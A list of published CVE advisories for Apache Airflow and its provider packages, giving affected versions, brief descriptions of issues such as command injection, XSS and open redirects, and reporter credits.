Improper Neutralization of Special Elements used in a Command (‘Command Injection’) vulnerability in Apache Software Foundation Apache Airflow, Apache Software Foundation Apache Airflow MySQL Provider.

This issue affects Apache Airflow: before 2.5.1; Apache Airflow MySQL Provider: before 4.0.0.

References

Credits

Son Tran from VNPT - VCI (reporter)

Security vulnerability on AirFlow Connections

CVE-2022-46651 [CVE] [CVE json] [OSV json]

Last updated: 2023-07-12T09:16:59.771Z

Affected

Apache Airflow before 2.6.3

Description

Apache Airflow, versions before 2.6.3, is affected by a vulnerability that allows an unauthorized actor to gain access to sensitive information in Connection edit view. This vulnerability is considered low since it requires someone with access to Connection resources specifically updating the connection to exploit it. Users should upgrade to version 2.6.3 or later which has removed the vulnerability.

References

Hive Provider RCE vulnerability with hive_cli_params

CVE-2022-46421 [CVE] [CVE json] [OSV json]

Last updated: 2022-12-20T10:18:24.768Z

Affected

Apache Airflow Hive Provider before 5.0.0

Description

Improper Neutralization of Special Elements used in a Command (‘Command Injection’) vulnerability in Apache Software Foundation Apache Airflow Hive Provider.

This issue affects Apache Airflow Hive Provider: before 5.0.0.

References

Credits

id_No2015429 of 3H Security Team (finder)

Apache Airflow: Open redirect during login

CVE-2022-45402 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-15T08:49:17.848Z

Affected

Apache Airflow from unspecified before 2.4.3

Description

In Apache Airflow versions prior to 2.4.3, there was an open redirect in the webserver’s /login endpoint.

References

Credits

The Apache Airflow PMC would like to thank Bugra Eskici for reporting this issue.

Apache Airflow prior to 2.4.2 has an open redirect

CVE-2022-43985 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-02T08:40:14.097Z

Affected

Apache Airflow from unspecified before 2.4.2

Description

In Apache Airflow versions prior to 2.4.2, there was an open redirect in the webserver’s /confirm endpoint.

References

Credits

The Apache Airflow PMC would like to thank Axel Chong (@Haxatron) [https://hackerone.com/haxatron1] for reporting this issue.

Apache Airflow prior to 2.4.2 allows reflected XSS via Origin Query Argument in URL

CVE-2022-43982 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-02T08:37:19.773Z

Affected

Apache Airflow from unspecified before 2.4.2

Description

In Apache Airflow versions prior to 2.4.2, the “Trigger DAG with config” screen was susceptible to XSS attacks via the origin query argument.

References

Credits

The Apache Airflow PMC would like to thank id_No2015429 of 3H Security Team for reporting this issue.

Session still functional after user is deactivated

CVE-2022-41672 [CVE] [CVE json] [OSV json]

Last updated: 2022-10-07T06:56:43.156Z

Affected

Apache Airflow from unspecified through 2.4.0

Description

In Apache Airflow, prior to version 2.4.1, deactivating a user wouldn’t prevent an already authenticated user from being able to continue using the UI or API.

References

Credits

The Apache Airflow PMC would like to thank Axel Chong (@Haxatron) for reporting this issue.

Apache Airflow Hive Provider vulnerability (command injection via hive_cli connection)

CVE-2022-41131 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-22T09:38:16.454Z

Affected

Apache Airflow Hive Provider from unspecified before 4.1.0
Apache Airflow at 2.3.0

Description

Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) vulnerability in Apache Airflow Hive Provider, Apache Airflow allows an attacker to execute arbtrary commands in the task execution context, without write access to DAG files. This issue affects Hive Provider versions prior to 4.1.0. It also impacts any Apache Airflow versions prior to 2.3.0 in case HIve Provider is installed (Hive Provider 4.1.0 can only be installed for Airflow 2.3.0+). Note that you need to manually install the HIve Provider version 4.1.0 in order to get rid of the vulnerability on top of Airflow 2.3.0+ version that has lower version of the Hive Provider installed).

References

Credits

Apache Airflow PMC wants to thank id_No2015429 of 3H Security Team for reporting the issue.

Apache Airflow Spark Provider RCE that bypass restrictions to read arbitrary files

CVE-2022-40954 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-22T09:40:32.614Z

Affected

Apache Airflow Spark Provider from unspecified before 4.0.0
Apache Airflow from unspecified before 2.3.0

Description

Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) vulnerability in Apache Airflow Spark Provider, Apache Airflow allows an attacker to read arbtrary files in the task execution context, without write access to DAG files. This issue affects Spark Provider versions prior to 4.0.0. It also impacts any Apache Airflow versions prior to 2.3.0 in case Spark Provider is installed (Spark Provider 4.0.0 can only be installed for Airflow 2.3.0+). Note that you need to manually install the Spark Provider version 4.0.0 in order to get rid of the vulnerability on top of Airflow 2.3.0+ version that has lower version of the Spark Provider installed).

References

Credits

Apache Airflow PMC wants to thank id_No2015429 of 3H Security Team for reporting the issue.

Open Redirect

CVE-2022-40754 [CVE] [CVE json] [OSV json]

Last updated: 2022-09-21T07:22:31.671Z

Affected

Apache Airflow from unspecified before 2.4.0

Description

In Apache Airflow 2.3.0 through 2.3.4, there was an open redirect in the webserver’s /confirm endpoint.

References

Credits

The Apache Airflow PMC would like to thank Konstantin Weddige (Lutra Security) for reporting this issue.

Format String Vulnerability

CVE-2022-40604 [CVE] [CVE json] [OSV json]

Last updated: 2022-09-21T07:22:50.780Z

Affected

Apache Airflow from unspecified before 2.4.0

Description

In Apache Airflow 2.3.0 through 2.3.4, part of a url was unnecessarily formatted, allowing for possible information extraction.

References

Credits

The Apache Airflow PMC would like to thank L3yx of Syclover Security Team for reporting this issue.

Apache Airlfow Pig Provider RCE

CVE-2022-40189 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-22T09:39:35.331Z

Affected

Apache Airlfow Pig Provider from unspecified before 4.0.0
Apache Airflow from unspecified before 2.3.0

Description

Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) vulnerability in Apache Airflow Pig Provider, Apache Airflow allows an attacker to control commands executed in the task execution context, without write access to DAG files. This issue affects Pig Provider versions prior to 4.0.0. It also impacts any Apache Airflow versions prior to 2.3.0 in case Pig Provider is installed (Pig Provider 4.0.0 can only be installed for Airflow 2.3.0+). Note that you need to manually install the Pig Provider version 4.0.0 in order to get rid of the vulnerability on top of Airflow 2.3.0+ version.

References

Credits

Apache Airflow PMC wants to thank id_No2015429 of 3H Security Team for reporting the issue.

Apache Airflow <2.4.0 has an RCE in a bash example

CVE-2022-40127 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-14T09:30:08.330Z

Affected

Apache Airflow from Apache Airflow before 2.4.0

Description

A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.

References

Credits

Apache Airflow PMC would like to thank L3yx of Syclover Security Team.

Apache Airflow Pinot provider allowed Command Injection

CVE-2022-38649 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-22T09:35:10.175Z

Affected

Apache Airflow Pinot Provider from unspecified before 4.0.0
Apache Airflow from unspecified before 2.3.0

Description

Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) vulnerability in Apache Airflow Pinot Provider, Apache Airflow allows an attacker to control commands executed in the task execution context, without write access to DAG files. This issue affects Apache Airflow Pinot Provider versions prior to 4.0.0. It also impacts any Apache Airflow versions prior to 2.3.0 in case Apache Airflow Pinot Provider is installed (Apache Airflow Pinot Provider 4.0.0 can only be installed for Airflow 2.3.0+). Note that you need to manually install the Pinot Provider version 4.0.0 in order to get rid of the vulnerability on top of Airflow 2.3.0+ version.

References

Credits

Apache Airflow PMC wants to thank id_No2015429 of 3H Security Team for reporting the issue.

Docker Provider <3.0 RCE vulnerability in example dag

CVE-2022-38362 [CVE] [CVE json] [OSV json]

Last updated: 2022-08-16T14:05:03.199Z

Affected

Apache Airflow from Apache Airflow Docker Provider before 3.0.0

Description

Apache Airflow Docker’s Provider prior to 3.0.0 shipped with an example DAG that was vulnerable to (authenticated) remote code exploit of code on the Airflow worker host.

References

https://lists.apache.org/thread/614p38nf4gbk8xhvnskj9b1sqo2dknkb

Credits

Thanks to Kai Zhao of 3H Secruity Team for reporting this

Overly permissive umask for daemons

CVE-2022-38170 [CVE] [CVE json] [OSV json]

Last updated: 2022-09-02T07:07:24.352Z

Affected

Apache Airflow from Apache Airflow through 2.3.3

Description

In Apache Airflow prior to 2.3.4, an insecure umask was configured for numerous Airflow components when running with the --daemon flag which could result in a race condition giving world-writable files in the Airflow home directory and allowing local users to expose arbitrary file contents via the webserver.

References

https://lists.apache.org/thread/zn8mbbb1j2od5nc9zhrvb7rpsrg1vvzv

Credits

The Apache Airflow PMC would like to thank Harry Sintonen for reporting this issue.

Session Fixation

CVE-2022-38054 [CVE] [CVE json] [OSV json]

Last updated: 2022-09-13T08:39:38.357Z

Affected

Apache Airflow from 2.2.4 before Apache Airflow*

Description

In Apache Airflow versions 2.2.4 through 2.3.3, the database webserver session backend was susceptible to session fixation.

References

https://lists.apache.org/thread/rsd3h89xdp16rg0ltovx3m7q3ypkxsbb

Credits

The Apache Airflow PMC would like to thank Kai Zhao for reporting this issue.
Additoinally we would like to thank Ali Al-Habsi for independently discovering and reporting this issue.

Apache Airflow prior to 2.3.1 may include sensitive values in rendered template

CVE-2022-27949 [CVE] [CVE json] [OSV json]

Last updated: 2022-11-15T11:12:08.938Z

Affected

Apache Airflow from unspecified before 2.3.1

Description

A vulnerability in UI of Apache Airflow allows an attacker to view unmasked secrets in rendered template values for tasks which were not executed (for example when they were depending on past and previous instances of the task failed). This issue affects Apache Airflow prior to 2.3.1.

References

Credits

Apache Airflow PMC would like to thank James Srinivasan for reporting it.

Apache Airflow: RCE in example DAGs

CVE-2022-24288 [CVE] [CVE json] [OSV json]

Last updated: 2022-02-25T08:21:43.680Z

Affected

Apache Airflow from unspecified before 2.2.4

Description

In Apache Airflow, prior to version 2.2.4, some example DAGs did not properly sanitize user-provided params, making them susceptible to OS Command Injection from the web UI.

References

https://lists.apache.org/thread/dbw5ozcmr0h0lhs0yjph7xdc64oht23t

Credits

The Apache Airflow PMC would like to thank Kai Zhao of the TToU Security Team for reporting this issue.

Apache Airflow: Creating DagRuns didn’t respect Dag-level permissions in the Webserver

CVE-2021-45230 [CVE] [CVE json] [OSV json]

Last updated: 2022-01-20T09:06:03.334Z

Affected

Apache Airflow at Apache Airflow 1.10 1.10.0 to 1.10.15
Apache Airflow from Apache Airflow 2 before 2.2.0

Description

In Apache Airflow prior to 2.2.0. This CVE applies to a specific case where a User who has “can_create” permissions on DAG Runs can create Dag Runs for dags that they don’t have “edit” permissions for.

References

https://lists.apache.org/thread/m778ojn0k595rwco4ht9wjql89mjoxnl

Credits

Apache Airflow PMC would like to thank Franco Cano Erazo for reporting this issue.

Apache Airflow: Reflected XSS via Origin Query Argument in URL

CVE-2021-45229 [CVE] [CVE json] [OSV json]

Last updated: 2022-02-25T08:21:17.026Z

Affected

Apache Airflow from unspecified before 2.2.4

Description

It was discovered that the “Trigger DAG with config” screen was susceptible to XSS attacks via the origin query argument.

This issue affects Apache Airflow versions 2.2.3 and below.

References

https://lists.apache.org/thread/phx76cgtmhwwdy780rvwhobx8qoy4bnk

Credits

The Apache Airflow PMC would like to thank both Bogdan Kurinnoy of the Samsung R&D Institute Ukraine (SRK) and Ali Al-Habsi of Accellion for independently discovering and reporting this issue.

Apache Airflow: Variable Import endpoint missed authentication check

CVE-2021-38540 [CVE] [CVE json] [OSV json]

Last updated: 2021-09-09T14:59:44.637Z

Affected

Apache Airflow from Apache Airflow before 2.1.3

Description

The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.

This issue affects Apache Airflow >=2.0.0, <2.1.3.

References

https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E

Credits

Apache Airflow would like to thank Nathan Jones, National Australia Bank’s Offensive Security Team

No Authentication on Logging Server

CVE-2021-35936 [CVE] [CVE json] [OSV json]

Last updated: 2021-08-16T07:22:38.757Z

Affected

Apache Airflow from Apache Airflow before 2.1.2

Description

If remote logging is not used, the worker (in the case of CeleryExecutor) or the scheduler (in the case of LocalExecutor) runs a Flask logging server and is listening on a specific port and also binds on 0.0.0.0 by default. This logging server had no authentication and allows reading log files of DAG jobs.

This issue affects Apache Airflow < 2.1.2.

References

https://lists.apache.org/thread.html/r53d6bd7b0a66f92ddaf1313282f10fec802e71246606dd30c16536df%40%3Cusers.airflow.apache.org%3E

Credits

Apache Airflow would like to thank Dolev Farhi for reporting this issue.

Apache Airflow Reflected XSS via Origin Query Argument in URL

CVE-2021-28359 [CVE] [CVE json] [OSV json]

Last updated: 2021-05-02T07:52:16.051Z

Affected

Apache Airflow at 2.0.0
Apache Airflow at 2.0.1
Apache Airflow from Apache Airflow before 1.10.15

Description

The “origin” parameter passed to some of the endpoints like ‘/trigger’ was vulnerable to XSS exploit. This issue affects Apache Airflow versions <1.10.15 in 1.x series and affects 2.0.0 and 2.0.1 and 2.x series.

This is the same as CVE-2020-13944 & CVE-2020-17515 but the implemented fix did not fix the issue completely. Update to Airflow 1.10.15 or 2.0.2.

Please also update your Python version to the latest available PATCH releases of the installed MINOR versions, example update to Python 3.6.13 if you are on Python 3.6. (Those contain the fix for CVE-2021-23336 https://nvd.nist.gov/vuln/detail/CVE-2021-23336).

References

https://lists.apache.org/thread.html/ra8ce70088ba291f358e077cafdb14d174b7a1ce9a9d86d1b332d6367%40%3Cusers.airflow.apache.org%3E

Credits

Vasileios Daskalakis

Apache Airflow: Lineage API endpoint for Experimental API missed authentication check

CVE-2021-26697 [CVE] [CVE json] [OSV json]

Last updated: 2021-02-17T14:10:43.736Z

Affected

Apache Airflow at 2.0.0

Description

The lineage endpoint of the deprecated Experimental API was not protected by authentication in Airflow 2.0.0. This allowed unauthenticated users to hit that endpoint.

This is low-severity issue as the attacker needs to be aware of certain parameters to pass to that endpoint and even after can just get some metadata about a DAG and a Task.

This issue affects Apache Airflow 2.0.0.

References

https://lists.apache.org/thread.html/re21fec81baea7a6d73b0b5d31efd07cc02c61f832e297f65bb19b519%40%3Cusers.airflow.apache.org%3E

Credits

Apache Airflow would like to thank Ian Carroll for reporting this issue.

CWE-284 Improper Access Control on Configurations Endpoint for the Stable API

CVE-2021-26559 [CVE] [CVE json] [OSV json]

Last updated: 2021-02-17T13:18:02.283Z

Affected

Apache Airflow at 2.0.0

Description

Improper Access Control on Configurations Endpoint for the Stable API of Apache Airflow allows users with Viewer or User role to get Airflow Configurations including sensitive information even when [webserver] expose_config is set to False in airflow.cfg.

This allowed a privilege escalation attack.

This issue affects Apache Airflow 2.0.0.

References

https://lists.apache.org/thread.html/r3b3787700279ec361308cbefb7c2cce2acb26891a12ce864e4a13c8d%40%3Cusers.airflow.apache.org%3E

Credits

Apache Airflow would like to thank Ian Carroll for reporting this issue.

CVE-2020-17526 [CVE] [CVE json] [OSV json]

Last updated: 2020-12-21T16:43:50.352Z

Affected

Apache Airflow from Apache Airflow before 1.10.14

Description

Incorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A. This does not affect users who have changed the default value for [webserver] secret_key config.

References

https://lists.apache.org/thread.html/rbeeb73a6c741f2f9200d83b9c2220610da314810c4e8c9cf881d47ef%40%3Cusers.airflow.apache.org%3E

Credits

Junghan Lee of Deliveryhero Korea Security Team

CVE-2020-17515 [CVE] [CVE json] [OSV json]

Last updated: 2020-12-11T13:35:28.574Z

Affected

Apache Airflow from Apache Airflow before 1.10.13

Description

The “origin” parameter passed to some of the endpoints like ‘/trigger’ was vulnerable to XSS exploit. This issue affects Apache Airflow versions prior to 1.10.13.

This is same as CVE-2020-13944 but the implemented fix in Airflow 1.10.13 did not fix the issue completely.

References

https://lists.apache.org/thread.html/r4656959c8ed06c1f6202d89aa4e67b35ad7bdba5a666caff3fea888e%40%3Cusers.airflow.apache.org%3E

Credits

Ali Abdulwahab Ali Al-habsi of Accellion

CVE-2020-17513 [CVE] [CVE json] [OSV json]

Last updated: 2020-12-14T09:36:02.746Z

Affected

Apache Airflow from Apache Airflow before 1.10.13

Description

In Apache Airflow versions prior to 1.10.13, the Charts and Query View of the old (Flask-admin based) UI were vulnerable for SSRF attack.

References

https://lists.apache.org/thread.html/rb3647269f07cc2775ca6568cbfd4994d862c842a58120d2aba9c658a%40%3Cusers.airflow.apache.org%3E

CVE-2020-17511 [CVE] [CVE json] [OSV json]

Last updated: 2020-12-14T09:35:45.373Z

Affected

Apache Airflow from Apache Airflow before 1.10.13

Description

In Airflow versions prior to 1.10.13, when creating a user using airflow CLI, the password gets logged in plain text in the Log table in Airflow Metadatase. Same happened when creating a Connection with a password field.

References

https://lists.apache.org/thread.html/ree782a29d927b96bf0b39fb92e2f1f09ea3112a985f7a08ce93765ac%40%3Cusers.airflow.apache.org%3E

Credits

Ali Al-Habsi of Accellion